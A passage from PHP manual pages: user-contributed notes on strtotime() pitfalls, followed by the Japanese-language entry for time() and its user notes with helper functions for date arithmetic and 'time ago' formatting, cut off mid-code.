strtotime(12345678) => false,
strtotime(123456789) => false,
Sui Dream 05-Feb-2018 08:36
It was really pazzling to me to read about parsing a string into a Unix timestamp relative to both January 1 1970 00:00:00 UTC and the second parameter. Maybe it worth noting that the second parameter is for relative dates (like "+1 day").
ivijan dot stefan at gmail dot com 29-Nov-2017 07:25
In some countries I noticed that people storing in database strings like 20h or 20u what is equal to 20:00 and 21h30 or 21u30 what is equal to 21:30.

strtotime() not understand that string and comparing or time modulation can be tricky. Because of that I wrote one good solution for it:

<?php

function bo_strtotime($string)
{
    if(preg_match('/([0-9]+)[uh]{1}/i',$string))
    {
        $string = preg_replace(array('/[uh]/i','/:(?![0-9]+)/'), array(':',':00'), $string);
    }

    return strtotime($string);
}

?>

This small function acts same like strtotime() only it accept 20u and 20h and convert into normal time, after that in normal unix timestamp.
jhonnymakis at gmail dot com 18-Aug-2017 05:44
Should output '2017-06-30' but show '2017-07-01'

$d = new DateTime( '2017-07-31' );
$d->modify( 'last month' );
echo $d->format( 'Y-m-d' );
Steve GS 08-Aug-2017 09:29
The difference between 'today' and 'now' is the former strips off the time (setting it to 00:00, ie. midnight just past), and the latter includes the time - assuming UTC unless specified otherwise.

I run a theatre's website.  Obviously, I need to ensure shows that have already happened do not appear on web pages, so I use something on the lines of:

    $listIt = (strtotime($end_date) >= strtotime('today') ? 1 : 0);

where $end_date is the final date in a show series.  So if tonight's show is the last, it will stay on the web page until 00:00 tomorrow.

I don't normally include performance times in the date field because some shows have matinees, others don't - so I use a free-form performance time field in the CMS instead (where even 'Time: TBD' is allowed).  [The only instance where I DO include the time is when there are two different shows on the same day, to ensure they appear in chronological order.]

So strtotime($end_date) will always return the timestamp at 00:00 that day.  If I instead used:

    $listIt = (strtotime($end_date) >= strtotime('now') ? 1 : 0);

the function would return $listIt = 0 at all times today - something I don't want.

HTH
alex at newpathconsulting dot com 24-Feb-2017 01:37
Be careful when sending a NULL string to strtotime() - it evaluates NULL to 0 and thus returns the UNIX timestamp at 0 (December 31, 1969).

Can evaluate the string first like so ($dateString contains string):

$dateString ? date('d-m-Y', strtotime($dateString ))
trurl at mcbyte dot net 15-Mar-2016 09:03
Be carefull with weekdays names
<?php echo date('r',strtotime("Thursday 01:15")), "\n"; ?>
returns something like "Thu, 17 Mar 2016 01:15:00 +0200"
but
<?php echo date('r',strtotime("Thursdays 01:15")), "\n"; ?>
returns "Thu, 17 Mar 2016 09:15:00 +0200".

So "s" at end mean "+8 hours".
Andrey Kabakchiev 10-Jul-2015 12:48
Actually the top-voted comment from 'sam at frontiermedia dot net dot au' is not quite right, as is the documentation Note. The correct assumptions made by strtotime() are:

Forward slashes (/) assume US formatted dates, e.g mm/dd/yy

Periods (.) assume Non-US dates, e.g dd.mm.yy

Hypens (-) assume ISO 8601 (ATOM) formatted dates, e.g yy-mm-dd
joe at strtotime dot co dot uk 16-Mar-2015 05:06
A useful testing tool for strtotime() and unix timestamp conversion:
http://strtotime.co.uk/
gabriel dot rempel at gmail dot com 05-Mar-2015 01:02
// small function auto detect to convert date

function formatDate($date)
{
    if (strpos($date,'/') !== false) :
        $date = str_replace('/', '-', $date);
        $date = date('Y-m-d h:i:s', strtotime($date));
    else :
        $date = date('d-m-Y h:i:s', strtotime($date));
        $date = str_replace('-', '/', $date);
    endif;
    return $date;
}
peixoto at live dot com 05-Mar-2014 12:23
<?php strtotime('-5 weeks monday') ?> returns the monday of 5 weeks ago.
Anonymous 23-Feb-2014 03:13
Be aware that you cannot rely on this function alone to validate a date, as it will accept insane dates like the 31st of February.

Also, the '... week' functionality by itself may not do what you expect. If used on a Sunday, 'next week' will not return a timestamp of the next Monday, but of the Monday after that. Similarly, a timestamp for the Monday of the current week is returned when 'previous/last week' is used and 'this week' returns a stamp of the Monday of the next week (i.e. the following day). This is not the 'week starts on Sunday' effect, as that would mean all the timestamps returned would have to be on a Sunday and none of them are.
kumar AT swatantra.info Swatantra Kumar 19-Apr-2013 07:27
The "+1 month" issue with strtotime
===================================
As noted in several blogs, strtotime() solves the "+1 month" ("next month") issue on days that do not exist in the subsequent month differently than other implementations like for example MySQL.

<?php
echo date( "Y-m-d", strtotime( "2009-01-31 +1 month" ) ); // PHP:  2009-03-03
echo date( "Y-m-d", strtotime( "2009-01-31 +2 month" ) ); // PHP:  2009-03-31
?>

<?php
SELECT DATE_ADD( '2009-01-31', INTERVAL 1 MONTH ); // MySQL:  2009-02-28
?>
me at will morgan dot co dot you kay 03-Sep-2012 05:01
For negative UNIX timestamps, strtotime seems to return the literal you passed in, or it may try to deduct the number of seconds from today's date.

To work around this behaviour, it appears that the same behaviour as described in the DateTime classes applies:

http://php.net/manual/en/datetime.construct.php

Specifically this line here (in the EN manual):

> The $timezone parameter and the current timezone are ignored when the $time parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

Therefore strtotime('@-1000') returns 1000 seconds before the epoch.

Hope this helps.
cristinawithout 31-Jan-2012 09:15
WARNING when using "next month", "last month", "+1 month",  "-1 month" or any combination of +/-X months. It will give non-intuitive results on Jan 30th and 31st.

As described at : http://derickrethans.nl/obtaining-the-next-month-in-php.html

<?php
$d = new DateTime( '2010-01-31' );
$d->modify( 'next month' );
echo $d->format( 'F' ), "\n";
?>

In the above, using "next month" on January 31 will output "March" even though you might want it to output "February". ("+1 month" will give the same result. "last month", "-1 month" are similarly affected, but the results would be seen at beginning of March.)

The way to get what people would generally be looking for when they say "next month" even on Jan 30 and Jan 31 is to use "first day of next month":

<?php
$d = new DateTime( '2010-01-08' );
$d->modify( 'first day of next month' );
echo $d->format( 'F' ), "\n";
?>

<?php
$d = new DateTime( '2010-01-08' );
$d->modify( 'first day of +1 month' );
echo $d->format( 'F' ), "\n";
?>
Michael Muryn (MickoZ) 10-Aug-2011 10:54
[red.: This is a bug, and should be fixed. I have file an issue]

This comment apply to PHP5+

We can now do thing like this with strtotime:
<?php
$weekMondayTime = strtotime('Monday this week');
?>
However this works based on a week starting Sunday.  I do not know if we can tweak this PHP behavior, anyone know?

If you want the timestamp of the start of the ISO Week (i.e. on Monday) as defined by ISO 8601, you can use this one liner:
<?php
$isoWeekStartTime = strtotime(date('o-\\WW')); // {isoYear}-W{isoWeekNumber}
?>

You can also find out the start of week of any time and format it into an ISO date with another one liner like this:
<?php
$isoWeekStartDate = date('Y-m-d', strtotime(date('o-\\WW', $time)));
?>

For more information about ISO-8601 and ISO week date:
http://en.wikipedia.org/wiki/ISO_8601#Week_dates
http://en.wikipedia.org/wiki/ISO_week_date
Annomoys 11-Jun-2011 03:43
Strtotime() can be used to loop through date range.
as follows

<?php
$start = strtotime('2009-02-01');
$end = strtotime('2009-03-10');
$date = $start;
while($date < $end)
{

   //write your code here
   $date = strtotime("+1 day", $date);(counter)

}

?>
a dot fruchi at bit-runners dot com 17-Feb-2011 05:45
If you want to confront a date stored into mysql as a date field (not a datetime) and a date specified by a literal string, be sure to add "midnight" to the literal string, otherwise they won't match:

<?php
//I.E.: today is 17/02/2011

echo strtotime('2011-01-01'); //1293836400
echo strtotime('first day of last month'); //1293888128 Note: it's different from the previous one, since it computes also the seconds passed from midnight!!! So this one is always greater than simple '2011-01-01'
echo strtotime('midnight first day of last monty');//1293836400 Note: it's the same as '2011-01-01'

?>
nyctimus at yahoo dot com 05-Jan-2011 05:54
strtotime() produces different output on 32 and 64 bit systems running PHP 5.3.3 (as mentioned previously).  This affects the "zero date" ("0000-00-00 00:00:00") as well as dates outside the traditional 32 date range.

strtotime("0000-00-00 00:00:00") returns FALSE on a 32 bit system.
strtotime("0000-00-00 00:00:00") returns -62169955200 on a 64 bit system.
x at xero dot nu 21-Dec-2010 09:41
strtotime is awesome for converting dates.
in this example i will make an RSS date, an
ATOM date, then convert them to a human
readable m/d/Y dates.

<?php
$rss = date("r");
$atom = date("c");
$human1 = date('m/d/Y', strtotime($rss));
$human2 = date('m/d/Y', strtotime($atom));

echo $rss."<br />".$atom."<br />".$human1."<br />".$human2;
?>
marcodemaio at vanylla dot it 27-Oct-2010 11:09
NOTE: strtotime returns different values when the Week day does not match the date.

Simple example:

<?php
$d1 = strtotime("26 Oct 0010 12:00:00 +0100");
$d2 = strtotime("Tue, 26 Oct 0010 12:00:00 +0100");
$d3 = strtotime("Sun, 26 Oct 0010 12:00:00 +0100"); //But Oct 26 is a Tuesday, NOT a Sunday.

echo $d1; //ok 1288090800 that is "26 Ott 2010 - 11:00";
echo $d2; //ok 1288090800 that is "26 Ott 2010 - 11:00";
echo $d3; //WRONG! 1288522800 that is "31 Ott 2010 - 11:00";
?>

Sometime I found RSS feeds that contains week days that do not match the date.

A possible solution is to remove useless week day before passing the date string into strtotime, example:

<?php
   $date_string = "Sun, 26 Oct 0010 12:00:00 +0100";
   if( ($comma_pos = strpos($date_string, ',')) !== FALSE )
      $date_string = substr($date_string, $comma_pos + 1);
   $d3 = strtotime($date_string);
?>
sam at frontiermedia dot net dot au 28-Sep-2010 03:23
I've had a little trouble with this function in the past because (as some people have pointed out) you can't really set a locale for strtotime. If you're American, you see 11/12/10 and think "12 November, 2010". If you're Australian (or European), you think it's 11 December, 2010. If you're a sysadmin who reads in ISO, it looks like 10th December 2011.

The best way to compensate for this is by modifying your joining characters. Forward slash (/) signifies American M/D/Y formatting, a dash (-) signifies European D-M-Y and a period (.) signifies ISO Y.M.D.

Observe:

<?php
echo date("jS F, Y", strtotime("11.12.10"));
// outputs 10th December, 2011

echo date("jS F, Y", strtotime("11/12/10"));
// outputs 12th November, 2010

echo date("jS F, Y", strtotime("11-12-10"));
// outputs 11th December, 2010
?>

Hope this helps someone!
Tim 18-Sep-2010 09:52
Unlike "yesterday 14:00", "14:00 yesterday" will return 00:00 of yesterday.
Stefan Kunstmann 30-Jul-2010 06:32
UK dates (eg. 27/05/1990) won't work with strotime, even with timezone properly set.

/*
However, if you just replace "/" with "-" it will work fine.
<?php
$timestamp = strtotime(str_replace('/', '-', '27/05/1990'));
?>
*/

[red., derick]: What you instead should do is:

<?php
$date = date_create_from_format('d/m/y', '27/05/1990');
?>

That does not make it a timestamp, but a DateTime object, which is much more versatile instead.
kooshal at live dot com 21-Oct-2009 06:59
when using PHP 5.3, you must use date_default_timezone_set() to set the time zone otherwise you will get warning similar to this (if you have display_errors=On)—

Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Asia/Dubai' for '4.0/no DST' instead in path/to/php/script.php
on line ##

Example:
date_default_timezone_set('Indian/Mauritius');

For a list of supported timezones in PHP, see http://www.php.net/manual/en/timezones.php
Anonymous 05-Oct-2009 03:47
This function DOES NOT work from left-to-right as one would think. This function parses the string as a whole, then applies the intervals by size (year, month, ...). Take the following example:

<?php
$Date = strtotime('2011-02-22'); // February 22nd, 2011. 28 days in this month, 29 next year.
echo date('n/j/Y', strtotime('+1 year, +7 days', $Date)); // add 1 year and 7 days. prints 2/29/2012
echo "<br />";
echo date('n/j/Y', strtotime('+7 days, +1 year', $Date)); // add 7 days and 1 year, but this also prints 2/29/2012
echo "<br />";
echo date('n/j/Y', strtotime('+1 year', strtotime('+7 days', $Date))); // this prints 3/1/2012, what the 2nd would do if it was left-to-right
?>
chris at teamsiems dot com 08-Sep-2009 10:20
It took me a while to notice that strtotime starts searching from just after midnight of the first day of the month. So, if the month starts on the day you search for, the first day of the search is actually the next occurrence of the day.

In my case, when I look for first Tuesday of the current month, I need to include a check to see if the month starts on a Tuesday.

<?php
if (date("l", strtotime("$thisMonth $thisYear"))=='Tuesday') {
  echo "<p>This month starts on a Tuesday. Use \"$thisMonth $thisYear\" to check for first Tuesday.</p>\n";
} else {
  echo "<p>This month does not start on a Tuesday. Use \"first tuesday $thisMonth $thisYear\" to check for first Tuesday.</p>\n";
}
?>
michal dot kocarek at brainbox dot cz 07-Aug-2009 06:35
strtotime() also returns time by year and weeknumber. (I use PHP 5.2.8, PHP 4 does not support it.) Queries can be in two forms:
- "yyyyWww", where yyyy is 4-digit year, W is literal and ww is 2-digit weeknumber. Returns timestamp for first day of week (for me Monday)
- "yyyy-Www-d", where yyyy is 4-digit year, W is literal, ww is 2-digit weeknumber and dd is day of week (1 for Monday, 7 for Sunday)

<?php
// Get timestamp of 32nd week in 2009.
strtotime('2009W32'); // returns timestamp for Mon, 03 Aug 2009 00:00:00
// Weeknumbers < 10 must be padded with zero:
strtotime('2009W01'); // returns timestamp for Mon, 29 Dec 2008 00:00:00
// strtotime('2009W1'); // error! returns false

// See timestamp for Tuesday in 5th week of 2008
strtotime('2008-W05-2'); // returns timestamp for Tue, 29 Jan 2008 00:00:00
?>

Weeknumbers are (probably) computed according to ISO-8601 specification, so doing date('W') on given timestamps should return passed weeknumber.
Travis Pulley 06-Aug-2009 12:11
Be aware that if you are running 5.2.8, there is a memory leak with this function and it could cost someone valuable time finding out what the problem was. Per usual, running the latest (minor) version tends to be a good idea.

See here: http://bugs.php.net/bug.php?id=46889
php at davidstockton dot com 30-Jul-2009 09:04
Adding a note to an already long page:

Try to be as specific as you can with the string you pass in.  For example

<?php
echo date('F', strtotime('February'));
?>

is not specific enough.  Depending on the day of the month, you may get a different response.  For a non-leap year, you'll get March if the _current day of the month_ is the 29th, 30th or 31st.  If it's a leap year, you'll get March on the 30th or 31st of the month.  The same thing will happen on the 31st of any month when you pass in the name of any month with less than 31 days.  This happens because the strtotime() function will fill in missing parts from the current day.

Assuming today is July 31, the timestamp returned by strtotime('February') will ultimately be seen as February 31 (non-existant obviously), which then is interpreted as March 3, thus giving a month name of March.

Interestingly, adding the year or the day will give you back the expected month.
Killermonk 25-Jun-2009 04:13
You are not restricted to the same date ranges when running PHP on a 64-bit machine. This is because you are using 64-bit integers instead of 32-bit integers (at least if your OS is smart enough to use 64-bit integers in a 64-bit OS)

The following code will produce difference output in 32 and 64 bit environments.

var_dump(strtotime('1000-01-30'));

32-bit PHP: bool(false)
64-bit PHP: int(-30607689600)

This is true for php 5.2.* and 5.3

Also, note that the anything about the year 10000 is not supported. It appears to use only the last digit in the year field. As such, the year 10000 is interpretted as the year 2000; 10086 as 2006, 13867 as 2007, etc
viper7 at viper-7 dot com 28-May-2009 03:42
Observed date formats that strtotime expects, it can be quite confusing, so hopefully this makes things a little clearer for some.

mm/dd/yyyy - 02/01/2003  - strtotime() returns : 1st February 2003
mm/dd/yy   - 02/01/03    - strtotime() returns : 1st February 2003
yyyy/mm/dd  - 2003/02/01 - strtotime() returns : 1st February 2003
dd-mm-yyyy - 01-02-2003  - strtotime() returns : 1st February 2003
yy-mm-dd   - 03-02-01    - strtotime() returns : 1st February 2003
yyyy-mm-dd - 2003-02-01  - strtotime() returns : 1st February 2003
fuhrysteve at gmail dot com 21-Mar-2009 07:18
Here's a hack to make this work for MS SQL's datetime junk, since strtotime() has issues with fractional seconds.

<?php

$MSSQLdatetime = "Feb  7 2009 09:48:06:697PM";
$newDatetime = preg_replace('/:[0-9][0-9][0-9]/','',$MSSQLdatetime);
$time = strtotime($newDatetime);
echo $time."\n";

?>
sgutauckis 05-Oct-2006 12:02
The following might produce something different than you might expect:
<?php
    echo date('l, F jS Y', strtotime("third wednesday", strtotime("2006-11-01"))) . "<br>";
    echo date('l, F jS Y', strtotime("third sunday", strtotime("2006-01-01")));
?>
Produces:
Wednesday, November 22nd 2006
Sunday, January 22nd 2006

The problem stems from strtotime when the requested day falls on the date passed to strtotime. If you look at your calendar you will see that they should return:

Wednesday, November 15th 2006
Sunday, January 15th 2006

Because the date falls on the day requested it skips that day.
kyle at frozenonline dot com 01-Jan-2004 03:24
I was having trouble parsing Apache log files that consisted of a time entry (denoted by %t for Apache configuration). An example Apache-date looks like: [21/Dec/2003:00:52:39 -0500]

Apache claims this to be a 'standard english format' time. strtotime() feels otherwise.

I came up with this function to assist in parsing this peculiar format.

<?php
function from_apachedate($date)
{
        list($d, $M, $y, $h, $m, $s, $z) = sscanf($date, "[%2d/%3s/%4d:%2d:%2d:%2d %5s]");
        return strtotime("$d $M $y $h:$m:$s $z");
}
?>

Hope it helps anyone else seeking such a conversion.


現在の Unix タイムスタンプを返す

  • ≪ strtotime
  • timezone_abbreviations_list ≫
  • PHP Manual
  • 日付・時刻 関数
  • 現在の Unix タイムスタンプを返す

time

(PHP 4, PHP 5, PHP 7, PHP 8)

time — 現在の Unix タイムスタンプを返す

説明

time ( ) : int

現在時刻を Unix エポック (1970 年 1 月 1 日 00:00:00 GMT) からの通算秒として返します。

例

例1 time() の例

<?php
$nextWeek = time() + (7 * 24 * 60 * 60);
                   // 7 日 * 24 時間 * 60 分 * 60 秒
echo 'Now:       '. date('Y-m-d') ."\n";
echo 'Next Week: '. date('Y-m-d', $nextWeek) ."\n";
// あるいは strtotime() を使用します
echo 'Next Week: '. date('Y-m-d', strtotime('+1 week')) ."\n";
?>

上の例の出力は、 たとえば以下のようになります。

Now:       2005-03-30
Next Week: 2005-04-06
Next Week: 2005-04-06

注意

ヒント

PHP 5.1 以降、$_SERVER['REQUEST_TIME'] によってリクエスト開始時のタイムスタンプが取得できるようになりました。

参考

  • date() - ローカルの日付/時刻を書式化する
  • microtime() - 現在の Unix タイムスタンプをマイクロ秒まで返す

User Contributed Notes

derinus at gmail dot com 14-May-2020 11:30
Please do NOT use above code example to calculate $nextWeek.
In zones with daylight saving time it's wrong twice a year.
correa dot rafael at live dot com 29-Sep-2018 08:05
Here's a little tweak for those having trouble with cookies being set in the future or past (even after setting the date.timezone directive in php.ini or using the function):

<?php
    setcookie('userAgent',$_SERVER['HTTP_USER_AGENT'], strtotime(date('r', time()).'+2 days'));
?>

The example above will fetch the current time() in Unix Epoch, convert to your date() and timezone, and covert the result to Unix Epoch again with strtotime() so you can use it to set cookie expiration dates.
Dan J 07-May-2018 11:24
It seems that the output of time()> is a few hundred microseconds behind the output of microtime() - be wary of mixing these functions.

Here's a snippet of code that demonstrates the difference:

<?php

// Find the next second
$nextSecond = time() + 1;

// Sleep until 2.5 milliseconds before the next second
time_sleep_until(floatval($nextSecond) - 2.5e-3);

// Check time() and microtime() every 250 microseconds for 20 iterations
for ($i = 0; $i < 20; $i ++) {
    $time = time();
    $uTime = microtime(true);

    printf("TIME: %d  uTIME: %0.6f", $time, $uTime);

    if (floor($uTime) > $time) {
        echo "  time() is behind";
    }

    echo "\n";
    usleep(250);
}

// Example output:

// TIME: 1525735820  uTIME: 1525735820.997716
// TIME: 1525735820  uTIME: 1525735820.998137
// TIME: 1525735820  uTIME: 1525735820.998528
// TIME: 1525735820  uTIME: 1525735820.998914
// TIME: 1525735820  uTIME: 1525735820.999287
// TIME: 1525735820  uTIME: 1525735820.999657
// TIME: 1525735820  uTIME: 1525735821.000026  time() is behind
// TIME: 1525735820  uTIME: 1525735821.000367  time() is behind
// TIME: 1525735820  uTIME: 1525735821.000705  time() is behind
// TIME: 1525735820  uTIME: 1525735821.001042  time() is behind
// TIME: 1525735820  uTIME: 1525735821.001379  time() is behind
// TIME: 1525735821  uTIME: 1525735821.001718
// TIME: 1525735821  uTIME: 1525735821.002070
// TIME: 1525735821  uTIME: 1525735821.002425
// TIME: 1525735821  uTIME: 1525735821.002770
// TIME: 1525735821  uTIME: 1525735821.003109
// TIME: 1525735821  uTIME: 1525735821.003448
// TIME: 1525735821  uTIME: 1525735821.003787
// TIME: 1525735821  uTIME: 1525735821.004125
// TIME: 1525735821  uTIME: 1525735821.004480
APM 23-Nov-2017 03:26
A better way to get a nice time-format (1 year ago, 2 months until) without all the trailing months, days, hours, minutes, seconds in the result is by using the DateTime format and using the date_diff function as they both does most of the heavy lifting for you

Function below as example

<?php

    // Get time interval function
    function getTimeInterval($date) {

        // Set date as DateTime object
        $date = new DateTime ($date);

        // Set now as DateTime object
        $now = date ('Y-m-d H:i:s', time()); // If you want to compare two dates you both provide just delete this line and add a $now to the function parameter (ie. function getTimeInterval($date, $now))
        $now = new DateTime ($now);

        // Check if date is in the past or future and calculate timedifference and set tense accordingly
        if ($now >= $date) {
            $timeDifference = date_diff ($date , $now);
            $tense = " ago";
        } else {
            $timeDifference = date_diff ($now, $date);
            $tense = " until";
        }

        // Set posible periods (lowest first as to end result with the highest value that isn't 0)
        $period = array (" second", " minute", " hour", " day", " month", " year");

        // Set values of the periods using the DateTime formats (matching the periods above)
        $periodValue= array ($timeDifference->format('%s'), $timeDifference->format('%i'), $timeDifference->format('%h'), $timeDifference->format('%d'), $timeDifference->format('%m'), $timeDifference->format('%y'));

        // Loop through the periods (ie. seconds to years)
        for ($i = 0; $i < count($periodValue); $i++) {
            // If current value is different from 1 add 's' to the end of current period (ie. seconds)
            if ($periodValue[$i] != 1) {
                $period[$i] .= "s";
            }

            // If current value is larger than 0 set new interval overwriting the lower value that came before ensuring the result shows only the highest value that isn't 0
            if ($periodValue[$i] > 0) {
                $interval = $periodValue[$i].$period[$i].$tense; // ie.: 3 months ago
            }
        }

        // If any values were larger than 0 (ie. timedifference is not 0 years, 0 months, 0 days, 0 hours, 0 minutes, 0 seconds ago) return interval
        if (isset($interval)) {
            return $interval;
        // Else if no values were larger than 0 (ie. timedifference is 0 years, 0 months, 0 days, 0 hours, 0 minites, 0 seconds ago) return 0 seconds ago
        } else {
            return "0 seconds" . $tense;
        }
    }

    // Ex. (time now = November 23 2017)
    getTimeInterval("2016-05-04 12:00:00"); // Returns: 1 year ago
    getTimeInterval("2017-12-24 12:00:00"); // Returns: 1 month until

?>
jaak dot tamre at gmail dot com 23-Dec-2016 09:16
Does anyone know if the year 2038 issue will be solved in PHP?

Lets imagine it's year 2039 and the time() function will return negative numbers? This is not acceptable.

Using the DateTime interface is nice, but will these timestamp helper functions be removed or fixed?
Ray.Paseur sometimes uses Gmail 21-Feb-2016 04:03
The number of 86,400 seconds in a day comes from the assumption of 60 seconds per minute, 60 minutes per hour and 24 hours per day: 60*60*24.  But not every day has 24 hours.  This edge case occurs on the days that clocks change as we enter and leave daylight savings (summer) time.  Date and time arithmetic is logically consistent and correct when you use PHP built-in functions, but it may not always work as expected if you try to write your own date and time arithmetic.
Peter F 04-Jun-2015 12:58
Javier:

The issue are highlighting is with the date() function, not with time(). the following code demonstrates this:

<?php
// server in BST Timezone
print 'server timezone<br>';
$time1 = date('H:i:s', time() - date('Z')); // 12:50:29
$time2 = date('H:i:s', gmdate('U')); // 13:50:29
$time3 = date('H:i:s', time()); // 13:50:29
$time4 = time() - date('Z'); // 1433418629
$time5 = gmdate('U'); // 1433422229
$time6 = time(); // 1433422229
print $time1.'<br>';
print $time2.'<br>';
print $time3.'<br>';
print $time4.'<br>';
print $time5.'<br>';
print $time6.'<br>';

ini_set('date.timezone', 'Europe/Berlin');
print 'Europe/Berlin<br>';
$time1 = date('H:i:s', time() - date('Z')); // 12:50:29
$time2 = date('H:i:s', gmdate('U')); // 14:50:29
$time3 = date('H:i:s', time()); // 14:50:29
$time4 = time() - date('Z'); // 1433415029
$time5 = gmdate('U'); // 1433422229
$time6 = time(); // 1433422229
print $time1.'<br>';
print $time2.'<br>';
print $time3.'<br>';
print $time4.'<br>';
print $time5.'<br>';
print $time6.'<br>';

ini_set('date.timezone', 'UTC');
print 'UTC<br>';
$time1 = date('H:i:s', time() - date('Z')); // 12:50:29
$time2 = date('H:i:s', gmdate('U')); // 12:50:29
$time3 = date('H:i:s', time()); // 12:50:29
$time4 = time() - date('Z'); // 1433422229
$time5 = gmdate('U'); // 1433422229
$time6 = time(); // 1433422229
print $time1.'<br>';
print $time2.'<br>';
print $time3.'<br>';
print $time4.'<br>';
print $time5.'<br>';
print $time6.'<br>';
?>
hoangvu4000 at gmail dot com 11-Apr-2014 05:53
//Calculate number of hours between pass and now
$dayinpass = "2013-06-23 05:09:12";
$today = time();
$dayinpass= strtotime($dayinpass);
echo round(abs($today-$dayinpass)/60/60);

//Calculate number of days between pass and now
$dayinpass = "2013-06-23 05:09:12";
$today = time();
$dayinpass= strtotime($dayinpass);
echo round(abs($today-$dayinpass)/60/60/24);
jnostuh at gmail dot com 18-Oct-2013 01:52
I built this function to get the strtotime numbers for the beginning and ending of the month and return them as arrays in an object.  Cheers.

        //Returns values in the format of strtotime for evaluating purposes!
        function returnDateFirstAndLast($numberOfMonths) {
            $time=time();
            $lastdayofcurrentmonth=strtotime('+1 month -1 day',strtotime(date('Y-m-1 24:59:59',$time)));
            $values=new stdClass();

            for ( $i = 0;$i < $numberOfMonths;$i++ ) {
                $time=time();
                $firstdayofmonth=strtotime('-'.$i.' month',strtotime(date('Y-m-1 00:00:00',$time)));
                $lastdayofmonth=strtotime('-'.($i - 1).' month -1 day',strtotime(date('Y-m-1 24:59:59',$time)));
                $first[$i]=$firstdayofmonth;
                if ( $i == 0 ) {
                    $last[$i]=$lastdayofcurrentmonth;
                } else {
                    $last[$i]=$lastdayofmonth;
                }
            }
            $values->first=$first;
            $values->last=$last;

            return $values;
        }
w dot scholtyssek at netdivision dot eu 26-Apr-2013 11:47
public static function daysBetween($date_1, $date_2) {
        $one_day = 1000 * 60 * 60 * 24;
        return round(abs(time($date_2) - time($date_1)) / $one_day);
    }
siegfried at anggit dot com 24-Jul-2012 11:03
elapsed time function with precision:

<?php

function elapsed_time($timestamp, $precision = 2) {
  $time = time() - $timestamp;
  $a = array('decade' => 315576000, 'year' => 31557600, 'month' => 2629800, 'week' => 604800, 'day' => 86400, 'hour' => 3600, 'min' => 60, 'sec' => 1);
  $i = 0;
    foreach($a as $k => $v) {
      $$k = floor($time/$v);
      if ($$k) $i++;
      $time = $i >= $precision ? 0 : $time - $$k * $v;
      $s = $$k > 1 ? 's' : '';
      $$k = $$k ? $$k.' '.$k.$s.' ' : '';
      @$result .= $$k;
    }
  return $result ? $result.'ago' : '1 sec to go';
}

echo elapsed_time('1234567890').'<br />'; // 3 years 5 months ago
echo elapsed_time('1234567890', 6); // 3 years 5 months 1 week 2 days 57 mins 4 secs ago

?>
salladin 08-May-2012 09:59
Two quick approaches to getting the time elapsed in human readable form.

<?php

function time_elapsed_A($secs){
    $bit = array(
        'y' => $secs / 31556926 % 12,
        'w' => $secs / 604800 % 52,
        'd' => $secs / 86400 % 7,
        'h' => $secs / 3600 % 24,
        'm' => $secs / 60 % 60,
        's' => $secs % 60
        );

    foreach($bit as $k => $v)
        if($v > 0)$ret[] = $v . $k;

    return join(' ', $ret);
    }

function time_elapsed_B($secs){
    $bit = array(
        ' year'        => $secs / 31556926 % 12,
        ' week'        => $secs / 604800 % 52,
        ' day'        => $secs / 86400 % 7,
        ' hour'        => $secs / 3600 % 24,
        ' minute'    => $secs / 60 % 60,
        ' second'    => $secs % 60
        );

    foreach($bit as $k => $v){
        if($v > 1)$ret[] = $v . $k . 's';
        if($v == 1)$ret[] = $v . $k;
        }
    array_splice($ret, count($ret)-1, 0, 'and');
    $ret[] = 'ago.';

    return join(' ', $ret);
    }

$nowtime = time();
$oldtime = 1335939007;

echo "time_elapsed_A: ".time_elapsed_A($nowtime-$oldtime)."\n";
echo "time_elapsed_B: ".time_elapsed_B($nowtime-$oldtime)."\n";

/** Output:
time_elapsed_A: 6d 15h 48m 19s
time_elapsed_B: 6 days 15 hours 48 minutes and 19 seconds ago.
**/
?>
tav 06-Jan-2012 04:06
Calculates the difference between $start and $s, returns a formatted string Xd Yh Zm As, e.g. 15d 23h 54m 31s. Empty sections will be stripped, returning 12d 4s, not 12d 0h 0m 4s.

Argument order (begin date, end date) doesn't matter.

<?php

function time_diff_conv($start, $s) {
    $t = array( //suffixes
        'd' => 86400,
        'h' => 3600,
        'm' => 60,
    );
    $s = abs($s - $start);
    foreach($t as $key => &$val) {
        $$key = floor($s/$val);
        $s -= ($$key*$val);
        $string .= ($$key==0) ? '' : $$key . "$key ";
    }
    return $string . $s. 's';
}

?>
instantcarma2000 at yahoo dot se 14-Oct-2011 02:54
This is a very basic and simple function to display either min -OR- hrs and min -OR- days and hrs -OR- days depending on how many seconds are given.

Example use:

<?php
$td = time_diff($timestamp1-$timestamp2); // has to be a positive result
$td .= ($td=="now")? "":" ago"; // in this example "ago"
echo $td;

function time_diff($s){
    $m=0;$hr=0;$d=0;$td="now";
    if($s>59) {
        $m = (int)($s/60);
        $s = $s-($m*60); // sec left over
        $td = "$m min";
    }
    if($m>59){
        $hr = (int)($m/60);
        $m = $m-($hr*60); // min left over
        $td = "$hr hr"; if($hr>1) $td .= "s";
        if($m>0) $td .= ", $m min";
    }
    if($hr>23){
        $d = (int)($hr/24);
        $hr = $hr-($d*24); // hr left over
        $td = "$d day"; if($d>1) $td .= "s";
        if($d<3){
            if($hr>0) $td .= ", $hr hr"; if($hr>1) $td .= "s";
        }
    }
    return $td;
}
?>
dev dot ivangc at gmail dot com 05-Aug-2011 03:05
Here a class extension to get the a datetime in the "X time ago" format easily.

<?php
class Cokidoo_DateTime extends DateTime {

    protected $strings = array(
        'y' => array('1 year ago', '%d years ago'),
        'm' => array('1 month ago', '%d months ago'),
        'd' => array('1 day ago', '%d days ago'),
        'h' => array('1 hour ago', '%d hours ago'),
        'i' => array('1 minute ago', '%d minutes ago'),
        's' => array('now', '%d secons ago'),
    );

    /**
     * Returns the difference from the current time in the format X time ago
     * @return string
     */
    public function __toString() {
        $now = new DateTime('now');
        $diff = $this->diff($now);

        foreach($this->strings as $key => $value){
            if( ($text = $this->getDiffText($key, $diff)) ){
                return $text;
            }
        }
        return '';
    }

    /**
     * Try to construct the time diff text with the specified interval key
     * @param string $intervalKey A value of: [y,m,d,h,i,s]
     * @param DateInterval $diff
     * @return string|null
     */
    protected function getDiffText($intervalKey, $diff){
        $pluralKey = 1;
        $value = $diff->$intervalKey;
        if($value > 0){
            if($value < 2){
                $pluralKey = 0;
            }
            return sprintf($this->strings[$intervalKey][$pluralKey], $value);
        }
